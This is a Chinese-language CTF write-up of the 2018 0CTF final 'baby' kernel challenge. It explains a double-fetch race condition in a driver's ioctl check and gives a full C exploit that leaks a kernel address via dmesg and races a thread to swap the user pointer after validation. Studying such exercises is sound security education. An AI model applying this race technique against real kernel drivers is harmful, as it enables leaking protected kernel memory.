2018-0CTF-final baby 复现(race condition & double fetch)

2022-11-02

题目分析

首先查看一下启动脚本
我们可以惊奇地发现,什么保护都没开(好耶!)
再看看那个驱动的保护: 发现也什么都没开。
接下来分析一下代码:
ioctl函数提供了2个接口:
一个是0x6666,它将会打印出flag的地址(内核)
另一个是0x1337,这个功能首先check用户的输入(input_addr)是否合法。
其中需要重点理解的有_chk_range_not_ok函数: 这个函数首先将第一个参数和第二个参数相加,判断是否发送进位(CF),再判断第一个参数和第二个参数相加是否大于第三个参数
2个条件必须同时满足才能通过检测
这里的第三个参数*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)看起来很复杂,仔细看,首先是__readgsqword((unsigned int)&current_task),从函数名称可以看出这是读取以gs寄存器为基址索引的8个字节,偏移为(unsigned int)&current_task,其实就是读取了current_task在内核中的地址,然后以8字节为单位找到偏移为4952的值
这里值得一提的是,我们还是不知道这个值是多少,需要调试去看一下。
注意,要想调试需要root权限,需要在init脚本里把 1000 改成 0,然后在启动脚本(start.sh)里添加-s选项
这里一般情况是没办法调试的 因为不知为何,地址变成了奇奇怪怪的东西(,这就说明 使用 add-symbol-file添加符号不可行。
因此需要用root权限来 lsmod 可以看到真正的驱动基地址。
顺道一提,我惊奇的发现,基地址刚刚好就是check函数的地址,哈哈,也不用算偏移了。
调试后发现,该值是 0x7ffffffff000 刚刚好是栈底(
从这个题目中,没有栈/堆的问题,似乎只是要我们猜flag

攻击思路 double fetch

我们可以利用 竞态条件(race condition)来绕过检测。
double fetch 就是其中的一种。
double fetch发送在以下条件:

  1. 用户往内核传送数据是以指针方式传送(意味着用户可以修改其所指向的内容)
  2. 内核需要多次使用该指针来取值。

double fetch直译就是取值2次
这次题目就满足了上述2个条件。
double fetch正常情况图:
attack后:
说白了,就是在一开始输入时,输入的参数是符合规范的,在越过检测后,修改参数为恶意地址
说的容易,其实我们没办法准确定位到第一次fetch和第二次fetch的时间,因此通常都采用爆破的手段。

exp

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

struct request{
    size_t addr;
    size_t length;
};
pthread_t compete;
struct request input;
size_t flag_addr;
size_t competition_times = 0x100;
char flag[0x100];
int result_fd;
int success=0;

void * race_thread(void){
    while(!success){
        for(int i=0;i<competition_times;i++){
            input.addr=flag_addr;
        }
    }
}

int main(){
    int fd = open("/dev/baby",O_RDWR);
    if(fd<0){
        printf("error in open /dev/baby!\n");
    }
    
    //get flag addr
    ioctl(fd,0x6666,&input);
    system("dmesg | grep flag > 1.txt");
    int file_fd = open("/1.txt",O_RDONLY);
    char buf[0x100];
    read(file_fd,buf,0x100);
    char * flag_start = strstr(buf,"Your flag is at ")+strlen("Your flag is at ");
    char * flag_end = flag_start + 16;
    flag_addr = strtoull(flag_start,flag_end,16);
    printf("flag_addr:%p\n",flag_addr);
    
    //init input
    input.addr = buf;
    input.length = 33;

    //create thread
    pthread_create(&compete,NULL,race_thread,NULL);

    //start race condition!
    while(!success){
        for(int i=0;i<competition_times;i++){
            input.addr=buf;
            input.length=33;
            ioctl(fd,0x1337,&input);
            system("dmesg | grep flag > result.txt");
            result_fd = open("/result.txt",O_RDONLY);
            read(result_fd,flag,0x100);
            if(strstr(flag,"Looks like the flag is not a secret anymore.")){
                printf("get flag!\n");
                success=1;
                break;
            }
        }
    }

    // close thread
    pthread_cancel(compete);
    
}

references

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#Off-by-One